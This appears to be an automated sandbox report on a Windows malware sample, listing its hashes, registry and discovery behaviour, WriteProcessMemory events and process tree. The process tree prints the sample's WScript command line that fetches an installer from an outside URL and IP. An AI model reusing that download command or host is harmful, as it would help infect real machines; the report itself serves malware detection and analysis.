76fe84bb6113bc9eccbd915b15413478e620732d85417eb1f039f9002b624ccf

Analysis

max time kernel
100s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27-04-2024 01:05

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General

Target

02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe
Size

184KB
MD5

02105a30bdeeda1e9a755b5ccec82d2e
SHA1

536605e191f5c75217df6334446059611220b200
SHA256

76fe84bb6113bc9eccbd915b15413478e620732d85417eb1f039f9002b624ccf
SHA512

096334aeeaf2254f089036861ff3ca54722f4ed4233a398295e3c7a7c77c64bdb4dc26800382948697561be4f3f62d54bc81dd94ba5f8526653cf8d24a299b85
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3fu:/7BSH8zUB+nGESaaRvoB7FJNndnqu

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 180 wrote to memory of 4876	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	85
PID 180 wrote to memory of 4876	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	85
PID 180 wrote to memory of 4876	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	85
PID 180 wrote to memory of 4688	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	91
PID 180 wrote to memory of 4688	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	91
PID 180 wrote to memory of 4688	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	91
PID 180 wrote to memory of 3208	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	96
PID 180 wrote to memory of 3208	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	96
PID 180 wrote to memory of 3208	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	96
PID 180 wrote to memory of 4908	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	100
PID 180 wrote to memory of 4908	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	100
PID 180 wrote to memory of 4908	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	100
PID 180 wrote to memory of 736	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	101
PID 180 wrote to memory of 736	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	101
PID 180 wrote to memory of 736	180	02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\02105a30bdeeda1e9a755b5ccec82d2e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:180
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4A67.js" http://www.djapp.info/?domain=EgNabrmbQp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4A67.exe
  2⤵
  PID:4876
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4A67.js" http://www.djapp.info/?domain=EgNabrmbQp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4A67.exe
  2⤵
  PID:4688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4A67.js" http://www.djapp.info/?domain=EgNabrmbQp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4A67.exe
  2⤵
  PID:3208
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4A67.js" http://www.djapp.info/?domain=EgNabrmbQp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4A67.exe
  2⤵
  PID:4908
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4A67.js" http://www.djapp.info/?domain=EgNabrmbQp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4A67.exe
  2⤵
  PID:736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4A67.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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